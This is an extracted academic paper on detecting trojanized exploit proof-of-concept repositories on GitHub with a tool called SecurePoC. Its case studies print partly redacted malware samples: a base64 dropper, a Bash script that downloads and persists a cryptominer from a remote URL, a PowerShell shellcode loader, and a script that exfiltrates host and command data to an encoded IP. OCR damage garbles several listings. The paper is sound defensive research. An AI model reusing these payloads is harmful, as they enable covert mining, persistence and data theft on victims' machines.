total, the confirmed malicious indicators were found in 33
repositories; this is 10.5% of the repositories with binaries
and URLs flagged by SecurePoC and 32.7% of the reposi-
tories with indicators flagged by VT as malicious. From our
whole dataset, SecurePoC flagged 4,839 repositories con-
taining binaries or URLs. Using the 10.5% maliciousness
rate estimated on the representative sample of the flagged
repositories, we can expect 508 repositories in the whole set
of analyzed PoCs to be malicious based on these indicators,
with an overall estimated rate of maliciousness of 2.5%.

We note that this analysis is very conservative and provides
a lower bound on the total amount of malicious PoCs. Further-
more, we only did this analysis for binaries and URLSs, as those
are relatively less time-sensitive compared to IP addresses.

Yhttps://abuse.ch
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We also did not inspect the binaries and URLs that were not
flagged by VirusTotal. In practice, it can be recommended
that the analysts carefully inspect all flagged indicators.

5.2.2 Analysis of unflagged repositories

To assess the number of missed detections of malicious PoCs
based on our indicators (false negatives) and the performance
of the IoC extraction regexes, we randomly selected a sample
of 100 repositories that had not been flagged by SecurePoC
and manually checked them. This review process revealed
three cases where its content had evaded our detection systems
(i.e., there were relevant IoCs but they were missed by the
current SecurePoC configuration): one repository contained
obfuscated code using base64 encoding, one employed hex-
adecimal encoding, and one contained a z1ib file encoded in
base64 which was not in the list of file signatures we monitor.
None of the PoCs analyzed showed any malicious behavior
(no false negatives were identified).

These findings from the manual analysis provided valuable
insight into the performance of our heuristics and highlighted
the specific areas where the SecurePoC ’s detection capabili-
ties could be enhanced to improve its reliability. We further
fine-tuned the SecurePoC configuration using this informa-
tion.

5.3 Evaluation on MUT-1244 repositories

MUT-1244 is a threat actor uncovered in December 20247
who, among other adversarial techniques, leverages trojanized
GitHub PoC repositories as an initial access vector. This threat
actor demonstrates that the malicious PoC method can be
highly impactful'°.

We partnered with Datadog Security Labs researchers to
evaluate SecurePoC against their known-malicious dataset
of 49 malicious PoCs published by MUT-1244 on GitHub
(our snapshots did not include these repositories), which uses
3 distinct execution mechanisms:

* Mechanism 1: A configuration file of over 45,000 lines
containing a malicious Bash command.

¢ Mechanism 2: A binary file embedding a malicious
Bash command that the fake PoC extracts and executes
at runtime.

* Mechanism 3: A piece of Python code decoding a long
base64-encoded Bash script, writing it to disk and exe-
cuting it.

Bhttps://securitylabs.datadoghq.com/articles/mut-1244-t
argeting-offensive-actors/
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Datadog researchers ran SecurePoC on these malicious
PoCs to evaluate independently how valuable it would be for
an analyst triaging these repositories.

For Mechanism 1, SecurePoC flagged several Base64-
encoded strings in the malicious configuration file, also show-
ing the file’s length. While these strings were not malicious
per se, the indication that they were in a file that is tens of
thousands of lines long, was found to be valuable as it was
enough to make any analyst suspicious.

For Mechanism 2, SecurePoC warned about a binary
file in the repository, correctly flagging the file embedding a
malicious payload.

For Mechanism 3, SecurePoC identified the large mali-
cious base64-encoded command and flagged that it can be
decoded to seemingly-valid Bash commands. Thus, an analyst
can quickly understand that this repository is malicious. We
next provide more details about our analysis of this PoC as
an illustrative case study.

Mechanism 3 analysis. This example is sourced from the
MUT-1244 Datadog PoC dataset and manually vetted by their
researchers. The attackers adapted legitimate exploit code
for CVE-2020-1938'7, embedding a backdoor that decodes
a base64-encoded payload into an obfuscated shell script,
writes it to disk, and executes it. The dropper Python script is
presented in Listing 1.

import os

2 import subprocess
3 import base64

+

14

16

18
19

def generate_payload (host, req_uri):
encoded_script = b"ej0iCiI7bEN6PSdQUk10JztYQno9J21uZTO0 <
REDACTED>"
if os.name == ’'posix’:
try:
decoded_script = base64.b64decode (encoded_script)
script_path = ’/tmp/install.sh’
with open(script_path, ’'wb’) as file:
file.write (decoded_script)

subprocess.run ([’chmod’, ’'+x’, script_path], check=
True)
result = subprocess.run([’bash’, script_path],

check=True, capture_output=True, text=True)
except subprocess.CalledProcessError as e:
print (f"Error occurred: {e.stderr}")
<REDACTED >

7 class Tomcat (object):

def __init__ (self, target_host,
self.target_host = target_host
self.target_port = target_port
self.socket = socket.socket (socket.AF_INET, socket.
SOCK_STREAM)
self.socket.setsockopt (socket.SOL_SOCKET, socket.
SO_REUSEADDR, 1)
self.payload = generate_payload(self.target_host,
self.target_port)
self.socket.connect ((target_host, target_port))
self.stream = self.socket.makefile("rb", bufsize=0)

Listing 1: Malicious MUT-1244 Python PoC

target_port):

After deobfuscating the shell script (see Listing 2), the re-
sulting code communicates with a URL referenced in the
investigation by Checkmarx'®. This investigation describes

Thttps://nvd.nist.gov/vuln/detail/cve-2020-1938
Bhttps://checkmarx.com/blog/dozens-of-machines-infecte
d-year-long-npm-supply-chain-attack-combines-crypto-minin
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a malicious npm package that uses the same URL to deliver
a second-stage payload, which not only installs a cryptocur-
rency miner but also exfiltrates data from infected users.

REPO_URL=https://codeberg.org/k0rn66/xmrdropper
XMRIG_UREPO_URL=/raw/master/xmrig

3 XPRINTIDLE_URREPO_URL=/raw/master/xprintidle

APP_URSREPO_URL=/raw/master/Xsession.sh
LOCAL_PATHOME=/.local/bin

5 APPNAM=Xsession.sh

7 XMRIGNAM=Xsession.auth

19

XPRINTIDLE_NAM=xprintidle
SYSTEMD_PATHME=/.config/systemd/user
ensure_os () {

machin$ (uname -m)

2 if [[ $machine !86_64" ]hen
3 exit

fi

}

5 ensure_os
7 systemctl --user stop $APPNAME.service > /dev/null 2>&l

systemctl --user disable $APPNAME.service > /dev/null
2>&1

systemctl --user daemon-reload > /dev/null 2>&l

mkdir -p $LOCAL_PATH

curl -sL --output S$LOCAL_PATH/$SAPPNAME S$APP_URL

22 curl -sL --output $LOCAL_PATH/$XMRIGNAME S$XMRIG_URL

T R R SR SO SR SR IS
v G R SR oS ®

3 curl -sL --output $LOCAL_PATH/$XPRINTIDLE_NAME

SXPRINTIDLE_URL
chmod +x S$LOCAL_PATH/S$APPNAME

25 chmod +x $LOCAL_PATH/$XMRIGNAME

chmod +x SLOCAL_PATH/S$SXPRINTIDLE_NAME

mkdir -p $SYSTEMD_PATH

cat <<HEREDOC > S$SYSTEMD_PATH/SAPPNAME.service
[Unit]

DescriptioXsession Auth daemon

[Service]

ExecStarOCAL_PATH/S$APPNAME

Restaralways

[Install]

WantedByault.target

36 HEREDOC

systemctl --user enable $APPNAME.service > /dev/null 2>&l
systemctl --user restart $APPNAME.service > /dev/null 2>
undefined

Listing 2: Deobfuscated payload from the malicious MUT-
1244 Python PoC

SecurePoC ’s output with the extracted relevant IoC is
provided in Listing 3.

"base64_checker": [
{
"base64": "ej01iCiI7bEN6PSAQUk10JztYQno9J21l...",
"decodable": true,
"match_rule": "Decodable Base64 string",
"decoded_value": "z=\"\n\";1Cz='PRIN’;XBz='ine=";..."

’

"file_path": "aib0litt/poc-CVE-2020-1938/cve
-2020-1938.py",
"line_number": 177

}
]

Listing 3: SecurePoC output for a malicious MUT-1244 PoC
with Mechanism 3

After testing our tool on their PoCs dataset, researchers
from Datadog Security Labs confirmed that SecurePoC sub-
stantially facilitates the triage of malicious PoCS from the
recent MUT-1244 campaign.

g-and-data-theft/

5.4 Total flagged PoCs

As mentioned, SecurePoC currently is integrated with the
VirusTotal and AbuseIPDB APIs for automated labeling of the
extracted Indicators of Compromise (IoCs) (binaries, domain
names, and IP addresses). Table 10 provides an overview of
the extracted IoCs across the analyzed repositories, detail-
ing their counts and classification based on VirusTotal (VT)
and AbuselPDB analyses. Note that our manual analysis has
shown that VirusTotal analysis needs to be inspected by the
analyst, as it introduces false positives.

Binaries. For binaries, a total of 9,510 were extracted, with
5,226 being unique by hash. Of these, 2,750 had not been
previously analyzed by VirusTotal and were submitted for
analysis. The results identified 1,018 unique flagged binaries
(that could potentially be malicious). In total, 2,069 (non-
unique) binaries were flagged by VirusTotal, impacting 955
repositories. Note that SecurePoC has a pre-configured list
of some known hacking tools, which were excluded here.

URLs. A total of 65,774 URLs were extracted, of which
15,776 were unique. Instead of querying full URLs to Virus-
Total, we focused on their FQDNs (domains). This approach
increases the chance of obtaining meaningful results, as do-
mains are more likely to be present in VirusTotal’s database
than full URLs with resource paths. Among these, 835
FQDNs were classified by VirusTotal as potentially mali-
cious, 423 as potentially suspicious, and 380 were not found
in VirusTotal’s database. This resulted in 5,350 flagged URLs,
impacting 891 repositories.

IP addresses. For IP addresses, 23,357 were extracted, with
1,590 unique IPs. VirusTotal classified 325 IPs as potentially
malicious and 129 as potentially suspicious, while 54 were
flagged by AbuseIPDB. In total, 5,534 IPs were flagged across
337 repositories.

By leveraging VirusTotal and AbuseIPDB for the analysis
of binaries, domains, and IP addresses, we help the analysts
with the initial triage of the PoCs, providing a higher level
of confidence in these found IoCs. This assists analysts in
making more informed decisions, helping them avoid execut-
ing harmful binaries or connecting with potentially harmful
endpoints. However, for hexadecimal and base64-encoded
strings, the classification process becomes more subjective.
These indicators require deeper analysis to assess their intent,
unlike other IoC types that have more straightforward classifi-
cation. As a result, the confidence in labeling these indicators
as malicious is more reliant on the analyst’s judgment. By
highlighting these indicators, the tool helps analysts focus
their attention on potentially suspicious IoCs, streamlining
the analysis process.

In total, 1,973 unique repositories were identified to contain
at least one potentially malicious binary, URL, or IP, marked
by VirusTotal or AbuseIPDB. These were not subjected to
our stricter manual classification criteria and should be con-
sidered as potentially malicious rather than confirmed. As
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Table 10: Summary of the extracted IoCs and VirusTotal/Abu-
seIPDB analysis results

Category Count
Extracted binaries
Total extracted binaries 9,510
Unique binaries (by hash) 5,226
Uploaded binaries to VirusTotal 2,750
Potentially malicious unique binaries (VT) 1,018
Total potentially malicious binaries 2,069
Repositories containing potentially malicious binaries 955
Extracted URLSs
Total extracted URLs 65,774
Unique URLs 15,776
Unique FQDNs/domains 5,846
Potentially malicious unique FQDNs (VT) 835
Potentially suspicious unique FQDNs (VT) 423
FQDNs not present in VirusTotal 380
Total potentially malicious/suspicious URLs 5,350

Repositories containing potentially malicious/suspicious URLs 891

Extracted IP addresses
Total Extracted IPs 23,357
Unique IPs 1,590
Potentially malicious unique IPs (VT) 325
Potentially suspicious unique IPs (VT) 129
Flagged unique IPs (AbuseIPDB) 54
Total potentially malicious/suspicious/flagged IPs 5,534
Repositories containing potentially malicious/suspicious IPs 337
Total PoC repositories flagged by VT 1,973

mentioned in Section 5.2, we can estimate that approximately
2.5% unique repositories would be malicious in our dataset
of analyzed PoCs (this was calculated without accounting
for malicious IP addresses and the base64 and hex encoded
strings). Nevertheless, all flagged repositories should still be
treated with care. We provide example case studies of some
of the discovered malicious PoCs in Appendix A.

6 Discussion

In our work, we propose a set of heuristics to detect mali-
cious exploit proof-of-concepts shared via GitHub. This set
of heuristics is implemented in our SecurePoC tool that we
intend to share open-source with the community. Our experi-
mental evaluation (including manual analysis and analysis of
PoCs from a notorious adversarial campaign by MUT-1244)
shows that the tool is valuable in triaging PoCs and helps to
identify and assess relevant indicators of compromise.
Using SecurePoC we have been able to detect that 9.6%
of PoC repositories we analyzed contain indicators flagged
by reputable platforms like VirusTotal and AbuseIPDB. Our
examination of a representative sample of PoC repositories
flagged by the tool has shown that there is a high rate of false
positives in the automated labeling done by these platforms.
Still, we found some confirmed malicious repositories, with an
estimated prevalence rate of at least 10.5% for all repositories

flagged by SecurePoC and 2.5% for our whole analyzed
PoC dataset. This rate of untrustworthy exploits is a cause for
concern, as they are being used by security practitioners across
the world. We thus believe that our study is an important
first step towards creating more reliable tools for security
professionals.

We note that GitHub’s acceptable use policy [15] allows
publishing of security-relevant content, such as malware, vul-
nerability information, or exploits, but only for research pur-
poses. They explicitly prohibit dual-use exploits (so, i.a.,
malicious exploits) and they require all exploit data to be
clearly labeled as potentially harmful content. We have not
observed any warnings in the subset of repositories that we
inspected manually. Moreover, the discovered repositories
with malicious PoCs are clearly in violation of GitHub’s pol-
icy. Our findings from the first snapshot were first reported
to GitHub in October 2022, and since then, 5 of these reposi-
tories have been taken down by GitHub, although we do not
know whether it was done because of our reporting or not.

We stress that SecurePoC was not designed to take binary
decisions on whether a repository is malicious. Its main ob-
jective is to help security analysts with the triage tasks. It
drastically cuts down the analysis time and helps to pinpoint
real-world attacks. Security analysts can further enhance the
tool by configuring it to suit their context or chaining it with
available analysis tools and cyber threat intelligence APISs.
Then, SecurePoC can go even further in automating GitHub
PoC repository analysis.

Another promising extension of the tool capabilities is to in-
clude the analysis of repository metadata (information about
users, forks, and stars). Currently, we do not use this data.
However, Datadog researchers analyzing the MUT-1244 cam-
paign identified GitHub profiles interacting with each other to
promote the malicious repositories, for instance, by starring
or opening issues in each other’s repositories. Thus, collect-
ing the list of known user accounts associated with malicious
PoCs and performing network analysis of this data [16, 19]
can be of interest.

7 Limitations

Our study has several limitations that we summarize in this
section.

Dataset limitations. First, our PoCs dataset might not be
fully representative of the whole collection of PoCs avail-
able on GitHub. The GitHub API proved unreliable, and not
all repositories corresponding to the used CVE IDs were
collected. This is demonstrated by a relatively low overlap
between the collected snapshots. Therefore, we potentially
have only a subset of data related to the targeted CVEs. We
have tried to mitigate this issue by re-querying the API two
times at each data collection moment and by collecting three
snapshots.



Our PoCs dataset does not include PoCs for CVEs issued
after August 2024. We believe that the studied sample of PoCs
published over 9 years (for CVE-IDs issued in 2016-2024) is
substantial and our results are useful for the community.

Limitations of the heuristics. In our study, we collect
and analyze historical PoCs, i.e., PoC repositories that were
published some time ago. This complicates PoC code anal-
ysis for maliciousness. For example, due to the amount of
time that has passed since older exploits were published, it is
possible that some previously malicious IP addresses are not
detected as malicious anymore. This limitation will not be an
issue for security analysts triaging contemporary PoCs, i.e.,
investigating new PoCs recently committed to GitHub.

A key limitation of SecurePoC is that it relies on heuristics
for detecting malicious PoCs. While scalable, these heuris-
tics are likely not able to discover all malicious PoCs in our
dataset, as some of them could apply more substantial obfus-
cation techniques, such as encryption. As mentioned, we also
might have missed malicious PoCs that include “previously
malicious” IPs. At the same time, our manual analysis has
shown that some of the heuristics introduce false positives or
might miss relevant indicators. Furthermore, while URLs and
binaries are more reliable, IP addresses change ownership,
and it is challenging to find whether an IP was malicious at the
time of the PoC repository creation. Therefore, our reported
number of malicious PoCs is an estimate that needs to be
confirmed in future studies.

We note that while more advanced program analysis tech-
niques can be developed in the future to detect malicious
PoCs automatically, our study is the necessary first step to-
ward this goal. Our current methodology has required sub-
stantial manual effort by security researchers with relevant
expertise. This is unavoidable because, as we mentioned, the
existing approaches to detect malicious code (including such
well-known indicators of compromise as establishing a re-
verse shell or elevating privileges on the exploited system)
will flag all PoCs as malicious software. Thus, manual effort
into dissecting malicious PoCs and identifying and verifying
suitable heuristics is inevitable. With the new dataset of mali-
cious PoCs, new automated approaches can be designed. We
share our dataset and the tool to facilitate this future research.

8 [Ethical Considerations

Ensuring ethical practices and responsible handling of po-
tentially malicious code is of paramount importance in our
research. To mitigate any potential risks and safeguard against
unintended consequences, we followed strict rules when ex-
ecuting some selected PoCs obtained from GitHub to better
understand their behavior (reported as case studies).

First, a careful manual review process was conducted to
evaluate the nature and intent of the PoCs. This involved scru-
tinizing the code for any indications of malicious behavior,
such as direct calls to known malicious IPs or suspicious pay-

loads. This review was conducted by the first author, who is
an experienced security analyst and has extensive knowledge
about malware analysis and reverse engineering. Then, by
running the PoCs in a sandboxed environment, we were able
to monitor their behavior, assess their impact, and analyze
any potential malicious activities without endangering the
integrity of our infrastructure. After careful examination of
the code and the behavior in the sandbox, the analyst made
decisions on how to further examine the case study PoCs (e.g.,
about retrieving new PoC components from remote websites).
This approach allowed us to strike a balance between con-
ducting meaningful research on PoCs’ functionality while
minimizing any potential harm to systems or networks.

To prevent any negative impact on other users and the in-
frastructure, the sandboxed environment was designed in col-
laboration with our institution’s system administrators. Our
Ethics Review Board approved the study design and gave
permission to explore malicious PoCs in this secure set-up.

Responsible Disclosure. We reported our findings to
GitHub via their dedicated responsible disclosure channel
twice: in October 2022 and June 2023. We are currently in the
process of responsibly reporting the most recently detected
malicious PoCs.

9 Related Work

To the best of our knowledge, the problem of malicious ex-
ploit PoCs in GitHub has not yet been studied in the literature.
However, the detection of malicious content (including that
shared on GitHub) and the analysis of exploits for vulnerabil-
ities are active areas of research.

Detecting malicious third-party code. Malicious third-
party code detection is a problem that has been investigated
in the context of software supply chains, where large ecosys-
tems have been found to be infected with malicious packages.
For example, researchers investigated approaches to identify
malicious packages in the npm, PyPI and Java ecosystems
(e.g., [24,42,52,54, 64]). These studies demonstrated that
simple heuristics, such as malicious IP addresses or bina-
ries and obfuscation detection, can be applied for detecting
malicious software packages. Studies also show that more ad-
vanced machine learning-based techniques can demonstrate
high performance in detecting malicious npm and PyPi pack-
ages [67,69]. Additionally, the literature focuses on captur-
ing semantic representations of code behavior (e.g., sensitive
API calls [24, 54, 57]). In the future, such more advanced
approaches can be adapted to automate the analysis and de-
tection of malicious PoCs.

Detecting malicious code in GitHub. The community has
also studied the peculiarities of detecting malicious activity
on GitHub. For example, Gonzales et al. [17] analyzed the
user’s profile information and commit logs to identify anoma-
lous commits that represent potential malicious activities in
a GitHub repository. Qian et al. [45] developed a framework



called Heterogeneous Graph to detect malicious repositories
by leveraging relationships and metadata. Code similarity is
a widely used technique to cluster malicious snippets and
detect closely related ones [28, 68]. In the context of GitHub,
Cao and Dolan-Gavitt [9] proposed a solution to detect mali-
cious forks by checking known malicious signatures and com-
puting included file similarity using the ssdeep algorithm.
In the future, PoC repository analysis can be enhanced by
utilizing techniques developed for detecting similar GitHub
projects, e.g., [33,46,50], and identifying hidden [65] or mali-
cious [9] forks. For example, Rokon et al. [49] have identified
7.5 thousand malware source code repositories on GitHub
using machine learning techniques.

CVE exploits. Researchers have studied the life cycle and
exploitation likelihood of CVEs using various methodolo-
gies [27]. Analysis of social network data has been very promi-
nent in this space. Horawalavithana et al. [20] examined the
discussions surrounding new CVEs on platforms like GitHub,
Reddit, and Twitter. Sabottke et al. [51] focused on detecting
information about CVE exploitation being shared on Twitter.
They developed methods to identify relevant discussions and
extract valuable insights regarding CVE exploitation from
the platform. Schiappa et al. [53] have investigated social
media discourse concerning CVEs and exploits on Twitter,
GitHub, and Reddit. In their data, in 2015 and 2016 on av-
erage 15% of CVEs were associated with PoCs available in
ExploitDB. The study [53] has shown GitHub to be a use-
ful source of information concerning possible attack vectors.
Shrestha et al. [55] have reached similar conclusions, as they
found that CVE-related information is being disseminated in
GitHub discussions even prior to a vulnerability being offi-
cially published. Neil et al. [31] have further demonstrated
the feasibility of automatically mining vulnerability-related
threat intelligence from GitHub and similar version control
platforms. Suciu et al. [56] focused on measuring the likeli-
hood of exploits becoming functional over time for a given
CVE. Yang et al. [66] used machine learning algorithms to
predict the likelihood of a CVE being exploited based on
the existence and source of a PoC. Householder et al. [21]
investigated the development of CVE exploits over time and
analyzed the chances of a CVE having an exploit in the future.
They provided statistics, indicating the percentage of CVEs
with publicly available exploits. Al Alsadi et al. [3] studied
IoT exploits extracted from malware binaries using static and
dynamic analysis techniques. They applied VirusTotal to clas-
sify malicious binaries and observed packing and obfuscation
as common techniques used by malware for hindering detec-
tion. Yet, the exploit use case investigated in [3] is different
from ours: [3] dissects exploits hidden in IoT binaries, while
we focus on PoCs for known CVEs published on GitHub.

The aforementioned studies collectively contribute to the
understanding of different aspects related to malicious code,
repositories, and CVE exploits on platforms like GitHub and
Twitter. Although these studies provide valuable insights,

none of them specifically focused on analyzing repositories
containing PoCs for CVE exploits and assessing their relia-
bility, and this is the gap we address in our study.

10 Conclusion

We conducted an extensive investigation into the malicious-
ness of CVE Proof of Concepts (PoCs) on GitHub. By manu-
ally analyzing a representative sample of flagged repositories,
we conservatively estimate that approximately 2.5% of the
PoC repositories analyzed by SecurePoC are malicious. To
the best of our knowledge, our work represents the first com-
prehensive investigation that analyzes PoCs of CVEs hosted
on public platforms such as GitHub and proposes methods
for detecting malicious PoCs. Our approach, implemented in
the SecurePoC tool, involves examining the source code for
indicators of malicious activity, such as calls to suspicious
servers, included binaries, and the presence of hexadecimal
and base-64 encoded payloads — and using available threat in-
telligence platforms like VirusTotal to assess these indicators.
Our evaluation demonstrated that SecurePoC can success-
fully pinpoint relevant IoCs of malicious PoCs, helping the
analysts with the triage task.

Availability

SecurePoC is shared as open source'’. Our PoCs dataset can
be shared responsibly upon request. As it contains malicious
and/or dual-use code, we can share the data privately with
academic or industry researchers. Please contact us using your
business email address.
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Case Studies

Throughout our research, we came across numerous instances
of malicious PoCs. These proof of concepts served various
purposes: some contained malware, others were used for gath-
ering user information, and some were simply created to serve
as reminders, mocking individuals who run proof of concepts
without reading the accompanying code and recognizing the
potential harm involved. We now discuss several illustrative
examples to highlight the dangers of malicious PoCs.
PyArmor scripts. PyArmor~ is a tool used to obfuscate
and protect Python scripts by encrypting their bytecode, mak-
ing them extremely difficult to reverse engineer. It employs

pttps://pyarmor.readthedocs.io/


https://blog.checkpoint.com/security/april-2023s-most-wanted-malware-qbot-launches-substantial-malspam-campaign-and-mirai-makes-its-return/
https://blog.checkpoint.com/security/april-2023s-most-wanted-malware-qbot-launches-substantial-malspam-campaign-and-mirai-makes-its-return/
https://blog.checkpoint.com/security/april-2023s-most-wanted-malware-qbot-launches-substantial-malspam-campaign-and-mirai-makes-its-return/
https://blog.checkpoint.com/security/april-2023s-most-wanted-malware-qbot-launches-substantial-malspam-campaign-and-mirai-makes-its-return/
https://cve.mitre.org/cve/identifiers/syntaxchange.html
https://cve.mitre.org/cve/identifiers/syntaxchange.html
https://www.cve.org/
https://www.cve.org/
https://www.virustotal.com/gui/home/upload
https://www.virustotal.com/gui/home/upload
https://www.virustotal.com/gui/file/1de6fa1bc31b26ccdd8edc07ce919bd6
https://www.virustotal.com/gui/file/1de6fa1bc31b26ccdd8edc07ce919bd6
https://www.virustotal.com/gui/file/d2881e56e66aeaebef7efaa60a58ef9b/
https://www.virustotal.com/gui/file/d2881e56e66aeaebef7efaa60a58ef9b/
https://pyarmor.readthedocs.io/

1

6

8

9

11
12

14

16

advanced encryption techniques to transform readable Python
code into protected, unreadable formats while preserving the
script’s original functionality. In our analysis, we discovered
multiple PoCs utilizing PyArmor for concealment. Although
our hexadecimal heuristics successfully detected these obfus-
cated scripts, the encryption prevented us from examining
their actual content or understanding their true purpose.

We executed these scripts in isolated and protected sandbox
environments for behavior analysis. However, this strategy
proved limited since the command-and-control IP addresses
used for data exfiltration were already defunct, leaving us
with incomplete visibility into the exploits’ full capabilities
and intended targets.

from pytransform import pyarmor_runtime

pyarmor_runtime ()

__pyarmor__(__name__, __file _, b’\x50\x59\x41\x52\x4d\
x4f\x52\x00\x00\x02\x07\x00\x03\xf3\x0d\x0a\x09\x30<
REDACTED >\xa5\x69\x08\x0a\x22\x55\x81\x32\xfe\x1f\
xal\xd1\x69\x86\x13\xa8\x752d\xfc\x2f’, 2)

Listing 4: Pyarmor Example

Multi-stage dropper. This case study demonstrates a Proof
of Concept (PoC) for the CVE-2019-0708>' vulnerability,
commonly known as “BlueKeep”. While appearing as a le-
gitimate exploit targeting the Remote Desktop Protocol vul-
nerability, the code has been weaponized to include a mali-
cious hexadecimal payload. When this payload is decoded, it
reveals a sophisticated PowerShell command that uses vari-
able manipulation to hide its execution parameters, ultimately
launching another PowerShell process with a window style
flag to hide its execution. This process then executes a base64-
encoded payload, which contains the multi-stage dropper that
injects shellcode to download and execute malware from a
remote server at http://finlitex.com/<REDACTED>that
was detected as malicious by VirusTotal’”.

This PoC example represents a particularly dangerous sce-
nario where security analysts might inadvertently execute
what appears to be a standard BlueKeep PoC, unaware that it
contains a stealthy backdoor component designed to establish
persistence on the compromised system.
import socket

import binascii
import argparse

from OpenSSL import *
from impacket.structure import Structure
magic = ("706£7765727368656c6c202£f77203 <REDACTED>")
<REDACTED >
def start_rdp_connection (ip_addresses):
<REDACTED >
info ("sending shell code --->")
tls.sendall (bytes (magic, "utf-8"))
info ("Infected!")
info (ip)
info(results[1l])
results[1l].close ()

2lhttps://nvd.nist.gov/vuln/detail/cve-2019-0708
2https://www.virustotal.com/gui/domain/finlitex.com/det
ection

3

<REDACTED >

Listing 5: First Stage of Obfuscation

powershell /w 1 /C s""v sR —;s""v kY e""c;s""v FKN ((g""v
sR) .value.toString () +(g""v kY).value.toString());
powershell (g""v FKN).value.toString() ('
JABrAFMAPQANACQA <REDACTED>')

Listing 6: Second Stage of Obfuscation

$kS=’'$jR="'[hBZ (("msvc"+"r"+"t.dl1l")) Jpublic static
extern IntPtr Kdr (uint dwSize, uint amount); [hBZ ("
kernel3"+"2"+".d1l1l") ]public static extern IntPtr BDs

(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr
lpStartAddress, IntPtr lpParameter, uint
dwCreationFlags, IntPtr lpThreadId);[hBZ ("kernel3
"4"2"4+" . d11") ]Jpublic static extern IntPtr
VirtualProtect (IntPtr lpStartAddress, uint dwSize,
uint flNewProtect, out uint dhR); [hBZ ("msvc"+"r"+"t.
dll") Jpublic static extern IntPtr memset (IntPtr dest
, uint src, uint count);’’;$jR=$jR.replace ("BDs", "
CreateT"+"h"+"read"); $jR=5$jR.replace ("Kdr", "ca"+"1
"+"loc"); $jR=$JR.replace ("hBZ", "DllImp"+"o"+"rt");
$Qd="+33,+C9,+64,+8B,+41,+30,+8B,+40, <REDACTED
>,+63,+6B,+2E,+65,+78,+65,+00"; SFB=Add-Type -pass -m
$jR -Name "wl" -names TLX; SFB=$FB.replace ("TLX", "
Wi"+"n"+"32Functions"); [byte[]]$Qd = $Qd.replace
("+","hHGx") .replace ("hHG", "0").Split (",");$yc=0
x1008;if ($Qd.L -gt 0x1008) {$yc=$0d.L}; $FK=$FB::
calloc (0x1008, 1);[UInt64]S$SdhR = 0; for ($G0=0; $GO -1le
($Qd.Length-1); $GO++) {$FB::memset ([ IntPtr] ($FK.
ToInt32 ()+$G0), $Qd[$GO], 1)};S8FB::VirtualProtect (
SFK, 0x1008, 0x40, [Ref]$dhR);$FB::CreateThread (0,0
x00,8FK,0,0,0);";$gT=[Convert]::ToBase64String ([Text
.Encoding]::Unicode.GetBytes ($kS)); $rf="powershell";
$VZ="Windows"; $M1f = "C:\$VZ\syswow64\$Vz$Srf\vl.0\
Srf";if ([IntPtr]::Size -eq 8) {$rf= S$M1f}; $Bw = " Srf
-e $qT";iex $Bw

Listing 7: Third Stage of Obfuscation

-noexit

Houdini malware. An intriguing example we encoun-
tered during our research was a repository with a PoC for
CVE-2019-0708 [11] (BlueKeep) [36].

Upon inspecting the source code, we identified a base64-
encoded line, which, once decoded, initiated the execution of
another Python script. This script contained a link to Paste-
bin [44], where a VBScript was hosted. The first exec com-
mand in the Python script executed this VBScript. Further
investigation of the VBScript revealed the presence of the
Houdini malware. We provide the screenshots of our analysis
in Appendix A. Houdini, also known as H-Worm, has been
active since at least 2013 [18] and still being active in 2024°°.
It is distributed through various means, such as malicious
email attachments, exploit kits, or social engineering.

We discovered similar techniques employed in other repos-
itories, where malware samples were double-obfuscated.
These samples established communication with external hosts,
downloaded malicious files, and executed them using VB-
Script. These malware samples predominantly targeted Win-
dows systems. The host used in the Houdini code mentioned
above was not functional at the time of writing. A screen-
shot of the Houdini malware functionality in the analyzed

Bhttps://rewterz.com/threat-advisory/wshrat-aka-houdini
—active-iocs-2
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VBScript is shown in Figure 4. Screenshots in Figure 5 and
Figure 6 showcase the VBScript code before and after de-
obfuscation, respectively.

CobaltStrike. Another instance involving malicious bi-
naries can be observed in a repository that was previously
accessible at [4]. This repository contained a binary file pur-
portedly serving as an exploit for CVE-2019-0709. Notably,
the binary was flagged by VirusTotal as a CobaltStrike in-
stance [62]. CobaltStrike provides a Command & Control
solution frequently used by adversaries. Although the repos-
itory is no longer accessible, the user behind it still exists
under a different username, as indicated by a GitHub redirect.
According to VirusTotal, this binary was initially scanned on
March 22, 2018, and was last submitted on May 15, 2019. In-
terestingly, this submission date is approximately one month
before the release of CVE details in the NVD database [35].

ROKRAT. Is a type of malware that belongs to the RAT
family and was linked back to APT37 [29]. RokRAT is de-
signed to infiltrate systems, collect sensitive information, and
enable the attacker to perform various malicious activities,
such as stealing credentials, logging keystrokes, capturing
screenshots, and executing arbitrary commands. It can also
establish a backdoor on the compromised system, providing
persistent access for the attacker. ROKRAT was introduced
back in 2017 [48] and is still being used today [10]. During
our investigation, we found six binaries that were flagged by
VirusTotal as RokRAT [63]. These six binaries were found to
be related to the same CVE-2017-4878 [37], which appears
to be rejected by NVD.

Exfiltration scripts. The purpose of the script in question
is to exfiltrate telemetry data from the server, including the
commands executed by the user. It also generates fake out-
put to create the illusion that the attack has been successful.
Listing 8 provides a visual representation of the script. The
base64 payload within the script contains a URL pointing to
the server where the data is being exported.

We discovered this script in several repositories, either in
the form of forks or copies with slight modifications, primarily
involving the base64 encoded IP address.

time.sleep (3)

lhost = os.uname () [1]
3 command = getpass.getuser () + '@’ + (lhost)
4 args = ' '.join(sys.argv[l:])
5 ErrorMsg = 'Connection Terminated: (Timeout)’

6 URL = baseb4.b64ddecode ('
aHR0cDovLzUOLJjE4NC4yMC420S9wb2MyLnBocA==")

7 PARAMS = {’host’:command, ’'args’:args, ’'cve’:Bug}

8§ r = requests.get (url = URL, params = PARAMS)

9 welcome = r.content

10 1f welcome != "":

1 rsp = 1

12 while rsp != "":

13 cmd = raw_input (welcome)

14 PARAMS = {’host’:command, ’args’:cmd, ’'cve’:Bug}
15 r = requests.get (url = URL, params = PARAMS)

16 rsp = r.content

17 print rsp

18 welcome = "C:\WINDOWS\system32>"

19 time.sleep (10)

Listing 8: Malicious PoC Exfiltration Example



fpoes/Clustered/2819/Python/Elkhazrajy_CVE-20819-8788-exploit-RCE$ cat CVE-2819-8788-exploit-RCE.py

import baseéd

exec(baseéd.decodedsd ("IAppbXBvenQodXIsbGlibAppbXBvenQge3VicHIvY2VzewoKdXIsbGlilnVybHI1dHIpZXZ1KCdodHRwezovL3Bhe3R1Ymlu
LmNvbS9yYXcvVENEQmY 3UBwnLCdiYi62Y nMnKQpzdwlwem?i ZXNzLmNhbGwoImNzY3 JpcHQgYmIudmlzIikg" ) )

